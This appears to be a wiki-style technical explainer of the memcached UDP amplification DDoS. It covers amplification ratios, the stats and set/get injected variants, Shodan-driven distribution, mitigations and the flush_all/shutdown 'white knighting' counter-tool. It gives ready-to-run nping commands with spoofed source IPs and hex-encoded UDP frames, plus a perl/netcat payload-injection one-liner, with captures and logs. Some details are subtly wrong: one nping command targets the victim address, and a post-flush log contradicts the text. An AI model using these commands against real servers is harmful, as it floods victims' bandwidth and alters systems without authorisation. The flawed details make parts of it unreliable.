Table of Contents

About

The memcached exploit is one of the more famous DDoS attacks on the Internet that works mainly due to memcached servers being exposed to the Internet. This page will attempt and catalogue the memcached DDoS and explain it in detail for future refefence.

Memcached

A rough sketch for the mode of operation of memcached can be observed on the sketch below. Memcached is a caching solution that leverages a computer's RAM in order to speed up access to various subsystems (such as web servers, general storage, databases, etc.). Memcached is typically placed in front of a slow storage system such as a database and whenever a record has to be retrieved, if the record is cached by memcached, then the record is returned, otherwise memcached forwards the request for the record to the storage solution, caches the response and returns the result to the original requestor.

     +-----+
     | get |
     +--+--+
        |
  +-----+------+ No  +----------+
  | is cached? +---->| retrieve |
  +-----+------+     +-----+----+
        | YES              |
        |            +-----+----+
        |            |   cache  |
        |            +-----+----+
        |                  |
        |                  |
     +--+---+              |
     | send |<-------------+
     +------+

In doing so, upon subsequent calls for the same record, memcached will already have the record cached in RAM and will be able to return the record directly without having to make the request to the storage again. In doing so, retrieving data is sped up, at the cost of RAM, but also the underlying backend is alleviated of pressure given that requests for identical records would have been cached.

Amplification

Like most DoS flood attacks, amplification attacks rely on the fact that maximal result are obtained at the minimal expense. For instance, memcached can be accessed directly via TCP and a stats command delivered, to which memcached will reply with the current internal statistics.

> stats                                +---> 5 bytes sent (excluding newline)
< STAT pid 540                      ---+
< STAT uptime 60                       |
< STAT time 1657173590                 |
< STAT version 1.5.5                   |
< STAT libevent 2.1.12-stable          |
< STAT pointer_size 64                 |
< STAT rusage_user 0.031098            |
< STAT rusage_system 0.013327          |
< STAT max_connections 1024            |
< STAT curr_connections 10             | ~ 2000 bytes received
< STAT total_connections 11            |
< STAT rejected_connections 0          |
< STAT connection_structures 11        |
< STAT reserved_fds 20                 |
< STAT cmd_get 0                       |
< STAT cmd_set 0                       |
< STAT cmd_flush 0                     |
< STAT cmd_touch 0                     |
< STAT get_hits 0                      v
< STAT get_misses 0
< STAT get_expired 0
< STAT get_flushed 0
< STAT delete_misses 0
< STAT delete_hits 0
< STAT incr_misses 0
< STAT incr_hits 0
< STAT decr_misses 0
< STAT decr_hits 0
< STAT cas_misses 0
< STAT cas_hits 0
< STAT cas_badval 0
< STAT touch_hits 0
< STAT touch_misses 0
< STAT auth_cmds 0
< STAT auth_errors 0
< STAT bytes_read 7
< STAT bytes_written 0
< STAT limit_maxbytes 67108864
< STAT accepting_conns 1
< STAT listen_disabled_num 0
< STAT time_in_listen_disabled_us 0
< STAT threads 4
< STAT conn_yields 0
< STAT hash_power_level 16
< STAT hash_bytes 524288
< STAT hash_is_expanding 0
< STAT slab_reassign_rescues 0
< STAT slab_reassign_chunk_rescues 0
< STAT slab_reassign_evictions_nomem 0
< STAT slab_reassign_inline_reclaim 0
< STAT slab_reassign_busy_items 0
< STAT slab_reassign_busy_deletes 0
< STAT slab_reassign_running 0
< STAT slabs_moved 0
< STAT lru_crawler_running 0
< STAT lru_crawler_starts 255
< STAT lru_maintainer_juggles 110
< STAT malloc_fails 0
< STAT log_worker_dropped 0
< STAT log_worker_written 0
< STAT log_watcher_skipped 0
< STAT log_watcher_sent 0
< STAT bytes 0
< STAT curr_items 0
< STAT total_items 0
< STAT slab_global_page_pool 0
< STAT expired_unfetched 0
< STAT evicted_unfetched 0
< STAT evicted_active 0
< STAT evictions 0
< STAT reclaimed 0
< STAT crawler_reclaimed 0
< STAT crawler_items_checked 0
< STAT lrutail_reflocked 0
< STAT moves_to_cold 0
< STAT moves_to_warm 0
< STAT moves_within_lru 0
< STAT direct_reclaims 0
< STAT lru_bumps_dropped 0
< END

The only trivial observation here is that just by sending $6$ bytes, about $2000$ bytes are received as a response which means that a factor of about $400$ is obtained per byte expended.

The stats command can also be transmitted remotely:

perl -e 'print "stats\n"' | nc IP PORT

where:

and using tcpdump, the whole traffic can be observed or captured on the machine running memcached:

tcpdump -vvv -i eth0 src a.a.a.a or dst a.a.a.a -X -w memcache_stats.pcap

where:

The main highlights of the communication can be summarized as:

b.b.b.b:52179 > a.a.a.a:11211 "stats"
a.a.a.a:11211 > b.b.b.b:52179 "STAT..."

where the client connects via TCP to the memcached server, sends the "stats" request and the memcached server responds with a large payload.

Attacks

Unfortunately, TCP is a stateful protocol and memcached requires a permanent connection between the client and the server such that spoofing packets with a different source address would not be possible. However, it so happens that memcached can be ran on both TCP and UDP ports where the TCP port is used for certain commands and the UDP port can be used for other kinds of command.

Given that UDP is stateless and that memcached can be accessed via UDP, the UDP protocol provided by memcached can be leveraged in order to perform a real attack. However, as it so happens, the UDP protocol provided by memcached can only be used to retrieve data whilst the TCP protocol provided by memcached can be used to store data.

That being said, memcached can be accessed via both TCP and UDP where some features are available via TCP and others through UDP. Attacks on memcached are variants where one or both protocols are used.

stats (pure UDP)

As described briefly over TCP, sending the stats command yields a ratio of $400$ bytes gained per byte sent. It so happens that the stats command is available through UDP as well. Therefore, for the most trivial and basic case, an attacker can just deliver a stats command to the memcached server and make memcached send the response to a remote victim just by spoofing the source address of the UDP packet.

IP: a.a.a.a       IP: b.b.b.b        IP: c.c.c.c
+----------+      +-----------+      +-----------+
| Attacker |      | Memcached |      |   Victim  |
+----+-----+      +-----+-----+      +-----+-----+
     |                  |                  |
     |       UDP        |                  |
     +----------------->|                  |
     |      stats       |                  |
     |     (7 bytes)    |                  |
     |                  |                  |
     |                  |       UDP        |
     |                  +----------------->|
     |                  |     STAT ...     |
     |                  |     STAT ...     |
     |                  |   (2000 bytes)   |
     |                  |                  |
     |                  |                  |

In order to perform this attack, the stats memcached command has to be delivered to the UDP port that memcached is listening on. This can be performed using the tool nping:

nping --udp -p 11211 b.b.b.b --count 1 --data "\x00\x00\x00\x00\x00\x01\x00\x00\x73\x74\x61\x74\x73\x0d\x0a" --no-capture --source-port 80 --source-ip c.c.c.c

where:

When executed, an UDP packet will be generated on the attacker machine and delivered to memcached. In turn, memcached will then send the reply to the spoofed address of the UDP packet and will thereby deliver the response to the stats command to the victim machine on UDP port 80.

In order to explain the 8 byte memcached header that must preceed any UDP command sent to memcached, the format is explained in the memcached documentation:

The frame header is 8 bytes long, as follows (all values are 16-bit integers
in network byte order, high byte first):

0-1 Request ID
2-3 Sequence number
4-5 Total number of datagrams in this message
6-7 Reserved for future use; must be 0

such that the header \x00\x00\x00\x00\x00\x01\x00\x00 could be represented as a sequence of bytes:

  0   1   2   3   4   5   6   7
+---+---+---+---+---+---+---+---+
| / | / | / | / | / | 1 | / | / |
+---+---+---+---+---+---+---+---+

that would have the following meaning:

Naturally, in order to achieve a DoS, the attacker will deliver the same UDP packet very fast to the memcached machine and the memcached machine will flood the victim. Similarly, for a distributed DoS, the attacker would co-opt other memcached machines that the attacker has access to.

set injected / get injected (TCP and UDP)

In this variant, TCP will be used to store a large payload once and then subsequent short (in terms of bytes) and many accesses will be made to the memcached UDP port, with a spoofed source address, in order to have memcached dump the large payload to a different destination and thereby using memcached as a free generator of UDP packets.

The DoS could be sketched as follows, in terms on protocols and communication:

IP: a.a.a.a       IP: b.b.b.b        IP: c.c.c.c
+----------+      +-----------+      +-----------+
| Attacker |      | Memcached |      |   Victim  |
+----+-----+      +-----+-----+      +-----+-----+
     |                  |                  |
     |       TCP        |                  |
     +----------------->|                  |
     | set injected...  |                  |
     | aaaaa... 1MiB    |                  |
     |                  |                  |
     |       TCP        |                  |
     |<-----------------+                  |
     |      STORED      |                  |
     |                  |                  |
     |       UDP        |                  |
     +----------------->|                  |
     | get injected...  |                  |
     | forged, 15B size |                  |
     |        .         |       UDP        |
     |        .         +----------------->|
     |        .         | aaaaa... 1MiB    |
     |                  |                  |
     |                  |                  |

In sequence, the procedure is as follows:

Subsequently, the attacker only has to deliver short get inject packets of about $15B$ in size in order to have the memcached machine deliver a payload that can reach up to $1MiB$ of data to an UDP destination of the attacker's choosing.

Real Case Senario

Given the following network topology:

              IP: b.b.b.b       
              +-----------+
     +--------+ Memcached +--------+
     |        +-----------+        |
     |                             |
     |                             |
+----+-----+                   +---+----+
| Attacker |                   | Victim |
+----------+                   +--------+
IP: a.a.a.a                    IP: c.c.c.c

the first step is to inject a very large payload into the memcached server. Injecting the memcached server with the initial payload can be done via a TCP connection by sending the following verbatim commands:

set injected 0 3600 1000000
aaaaa...

where:

and:

In terms of commands, the above operations can be executed in a single line by building the payload using perl and then piping the payload to netcat (nc) that will deliver the commands to the memcached server:

perl -e 'print "set injected 0 3600 1000000\r\n" . "a"x1000000 . "\r\n"' | nc b.b.b.b 11211 -w 1

where:

Running the command will output on the machine running the command the response from the memcached server:

STORED

and, if running verbosely, the memcached server will log the following messages:

<31 new auto-negotiating client connection
...
31: Client using the ascii protocol
<31 set injected 0 3600 1000000
31: going from conn_parse_cmd to conn_nread
> NOT FOUND injected
>31 STORED
...

hinting that a client has connected to the TCP port, that is using the ASCII protocol and has injected a payload successfully.

Next, the attacker must send a forged UDP packet to the memcached server containing the get injected command and the IP of the victim as source. In order to issue a get injected command, memcached has a specific binary format that must be used to deliver the command via its UDP port.

Citing the memcached documentation:

The frame header is 8 bytes long, as follows (all values are 16-bit integers
in network byte order, high byte first):

0-1 Request ID
2-3 Sequence number
4-5 Total number of datagrams in this message
6-7 Reserved for future use; must be 0

That means that the get injected payload delivered by the attacker via UDP, in order to make memcached dump the payload injected via TCP, can be of the following form:

  0   1   2   3   4   5   6   7
+---+---+---+---+---+---+---+---+----------------------------->
| / | / | / | / | / | 1 | / | / | get injected
+---+---+---+---+---+---+---+---+----------------------------->

|                               |
+-------------------------------+
special memcached 8 bytes header

where the header bytes carry the following meaning, in order:

The header is then followed by the payload which will be the corresponding byte encoded value of the string get injected (here noted in hexadecimal format):

   0      1      2      3      4      5      6      7
+------+------+------+------+------+------+------+------+...
| \x00 | \x00 | \x00 | \x00 | \x00 | \x01 | \x00 | \x00 | (get injected)
+------+------+------+------+------+------+------+------+...
|                                                       |
+--------- special memcached 8 bytes header ------------+


      g      e      t             i      n      j      e      c      t      e      d      \r    \n
...+------+------+------+------+------+------+------+------+------+------+------+------+------+------+
   | \x67 | \x65 | \x74 | \x20 | \x69 | \x6e | \x6a | \x65 | \x63 | \x74 | \x65 | \x64 | \x0d | \x0a |
...+------+------+------+------+------+------+------+------+------+------+------+------+------+------+
   |                                                                                                 |
   +-------------------------------------- get injected ---------------------------------------------+

Based on the sketch and in terms of commands, while using nping as the packet generator, the nping command to craft a get injected packet will then be:

nping \
    --udp \
    --count 1 \
    --no-capture \
    --source-ip c.c.c.c\
    --source-port 80 \
    --data "\x00\x00\x00\x00\x00\x01\x00\x00\x67\x65\x74\x20\x69\x6e\x6a\x65\x63\x74\x65\x64\x0d\x0a"
    -p 11211 \
    c.c.c.c 

where:

The command will make the memcached server send the previously injected $1MB$ payload to the victim and, if memcached is running verbosely, the following log messages will be revealed:

...
29: Client using the ascii protocol
<29 get injected
> FOUND KEY injected
30: going from conn_red to conn-waiting
30: going from conn_waiting to conn_red
>29 sending key injected
>29 END
...

In order to verify that the packets arrive on the victim machine (c.c.c.c), a tcpdump command can be ran on the victim machine to check for any incoming packets over UDP port 80:

tcpdump -vvv -i eth0 -X udp port 80

Now, sending the get injected command to the memcached server and intercepting the packets on the victim machine, will reveal the packets arriving from the memcached server to the victim machine:

11:51:19.166865 IP (tos 0x0, ttl 64, id 53247, offset 0, flags [DF], proto UDP (
17), length 1428)
    b.b.b.b.11211 > c.c.c.c.http: [udp sum ok] UDP, length 1400
        0x0000:  4500 0594 cfff 4000 4011 7c98 0a4c 6a19  E.....@.@.|..Lj.
        0x0010:  0a4c 6a10 2bcb 0050 0580 ac14 0000 0000  .Lj.+..P........
        0x0020:  02cf 0000 5641 4c55 4520 696e 6a65 6374  ....VALUE.inject
        0x0030:  6564 2030 2031 3030 3030 3030 0d0a 6161  ed.0.1000000..aa
        0x0040:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0050:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0060:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0070:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0080:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
...

11:51:19.167005 IP (tos 0x0, ttl 64, id 53248, offset 0, flags [DF], proto UDP (17), length 1428)
    b.b.b.b.11211 > c.c.c.c.http: [udp sum ok] UDP, length 1400
        0x0000:  4500 0594 d000 4000 4011 7c97 0a4c 6a19  E.....@.@.|..Lj.
        0x0010:  0a4c 6a10 2bcb 0050 0580 1c81 0000 0001  .Lj.+..P........
        0x0020:  02cf 0000 6161 6161 6161 6161 6161 6161  ....aaaaaaaaaaaa
        0x0030:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0040:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
        0x0050:  6161 6161 6161 6161 6161 6161 6161 6161  aaaaaaaaaaaaaaaa
...

which translates to roughtly the following plaintext communication:

VALUE injected 0 1000000
aaaaa...

The response packet also contains the header, before the VALUE injected 0 1000000 response is received, as observed with tcpdump:

        0x0010:  0a4c 6a10 2bcb 0050 0580 ac14 0000 0000  .Lj.+..P........
        0x0020:  02cf 0000 5641 4c55 4520 696e 6a65 6374  ....VALUE.inject

The response header having the following shape:

   0      1      2      3      4      5      6      7
+------+------+------+------+------+------+------+------+...
| \x00 | \x00 | \x00 | \x00 | \x02 | \xcf | \x00 | \x00 | (VALUE injected 0 1000000)
+------+------+------+------+------+------+------+------+...
|                                                       |
+--------- special memcached 8 bytes header ------------+

where:

Given the response header and the number of datagrams, memcached generated $1MB$ of data that was then split via an approximate MTU of $1400B$ into $719$ UDP packets. The second packet oberved by tcpdump:

        0x0010:  0a4c 6a10 2bcb 0050 0580 1c81 0000 0001  .Lj.+..P........
        0x0020:  02cf 0000 6161 6161 6161 6161 6161 6161  ....aaaaaaaaaaaa

contains the header:

   0      1      2      3      4      5      6      7
+------+------+------+------+------+------+------+------+...
| \x00 | \x00 | \x01 | \x00 | \x02 | \xcf | \x00 | \x00 | aaaa...
+------+------+------+------+------+------+------+------+...
|                                                       |
+--------- special memcached 8 bytes header ------------+

where \x01 in the "sequence number" field indicates that this packet is the second datagram sent by memcached to the victim; memcached sequence numbers are 0 indexed.

One can observe that given that the payload that the memcached server is sending is $1MB$ large and the size of the packet would exceed the MTU of the network, the payload is split into roughly $1500B$ large packets as they are sent from the memcached server to the vicim machine.

In terms of amplification, the exploit requires an attacker to send the payload initially to the memcached machine in order for memcached to store the payload. That requires the attacker to actually send up to $1MB$ plus some extra bytes for the set injected command. However, subsequent calls to the memcached server are done via UDP and the get injected payload required to make memcached deliver $1MB$ of data is just about $22B$. That being said, the gain ratio per byte is nearly $5000$ meaning that for one expended byte, the attacker gains $5000$ bytes of traffic.

Regardless of the value of the gain ratio per byte required, the amplification is just linear such that one single memcached instance would provide up to $1MB$, a second memcached instance would provide another $1MB$, etc. This is somewhat unsophisticated even compard to a classic ICMP Smurf attack that has exponential growth per packets being sent compared to the linear growth observed with the memcached DDoS.

Distributed DoS

Naturally, the large the data that can be sent, the better such that one single memcached server might be insufficient to effectively disrupt services on a victim machine. Nevertheless, websites such as shodan.io can be found that crawl the Internet looking for services that are exposed to the Internet; amongst which, shodan.io also crawls and searches the Internet for publicly accessible instances of memcached.

     .              .        
     .              .               .
     .              .               .
     |   15B   +-----------+        .
     +-------->| Memcached +--------+
     |         +-----------+        |
     |              .               | +1MB
     |   15B   +-----------+        |
     +-------->| Memcached +--------+
     |         +-----------+        |
     |              .               | +1MB
     |              .               |
     |              .               v 
+----+-----+                    +--------+
| Attacker |                    | Victim |
+----------+                    +--------+

There are tools such as "memcrashed" created by "037" that just connect to websites such as shodan.io, retrieve via the shodan.io API a list of public memcached servers and then run the exploit in order to allow an attacker to use multiple and geographically-distributed memcached instances to flood a victim machine.

Just like standard ICMP floods, the memcached DDoS solely relies on the ability of an attacker to overwhelm the bandwidth of the victim machine. The DDoS attack, in terms of complexity, is even less sophisticated than, say a classic ICMP Ping-of-Death because the Ping-of-Death relies on the inability of Windows machines to cope with the reassembly of large packets with incorrect length while the memcached denial of service just overwhelms or oversaturates the bandwidth of a victim.

Mitigations

memcached is a caching daemon and it is trivial to see that there is absolutely no reason why memcached servers should be exposed to the Internet; compared to say, web servers or mail servers that need to interract with other machines across the Internet by design. In fact, the mitigation offered by the authors of memcached consists in just disabling the UDP port by default such that administrators that accidentally expose the UDP port to the Internet will not become part of a memcached DDoS farm.

In essence, the memcached DDoS can be seen as a misadministration of a daemon, rather than a compromised machine that is then leveraged by the attacker to DDoS victims. In other words, memcached is designed to work the same way that also allows malicious users to leverage its capabilities.

One could say that the set injected and get injected pair of commands, or even the whole communication with a memcached server could prompt for authentication before allowing any command to ever be processed. However, it seems pointless to overcomplicate the memcached design, particularly since memcached is not designed to not be publicly exposed.

Even if one would try to argue that there would be legitimate uses of memcached running on publicly routable IP addresses, memcached itself does not have any capabilities to wrap the communication in an encryption layer such as SSL or TLS which means that the entire traffic through and from memcached would just spill in plain text over all gateways between the client accessing memcached and memcached itself.

White Knighting

The author of "memcrashed", namely "037" released a follow-up tool called "memfixed", that can be used to shut down any memcached servers reported by shodan.io. This can be done by using either the "flush_all" UDP memcached command in order to flush all data deposited, or by using the UDP "shutdown" memcached command to shut memcached down.

For instance, just sending the memcached shutdown command via UDP can be performed with the nping utility:

nping --udp -p 11211 b.b.b.b --count 1 --data "\x00\x00\x00\x00\x00\x01\x00\x00\x73\x68\x75\x74\x64\x6f\x77\x6e\x0d\x0a" --no-capture

where the data payload consists in the memcached special UDP 8 byte header followed by the string "shutdown" and then carriage return (\r or 0x0d) followed by line feed (\n, 0x0a).

Unfortunately, in order to be able to shut down a memcached server, the memcached server must be first configured in order to allow the shut down. For instance, a default installation of memcached at version 1.5.5, will log the following response:

29: Client using the ascii protocol
<29 shutdown
>29 ERROR: shutdown not enabled

such that memfixed cannot be used to shut this server down.

On the other hand, the flush_all memcached UDP command proves to be somewhat more successful than the "shutdown" command:

nping --udp -p 11211 b.b.b.b --count 1 --data "\x00\x00\x00\x00\x00\x01\x00\x00\x66\x6c\x75\x73\x68\x5f\x61\x6c\x6c\x0d\x0a" --no-capture

resuling in the memcached debug output:

29: Client using the ascii protocol
<29 flush_all
>29 OK

The flush_all memcached UDP command just deletes the payload that has been stored via the TCP set injected command. For example, assuming that the attacker has uploaded a payload using the TCP set injected command and that a flush_all memcached UDP command is sent to the memcached server, then issuing a get injected command via UDP, would result in the following debug messages being logged by memcached:

27: Client using the ascii protocol
<27 get injected
> FOUND KEY injected
>27 sending key injected
>27 END

indicating that the injected payload does not exist.

However, flushing the payload does not seem effective since the attacker can upload the payload again, particularly since an attacker would not be using tools such as nping but rather tools such as memcrashed that are already sufficiently automated to perform all the steps and detect when memcached reports that the key is missing.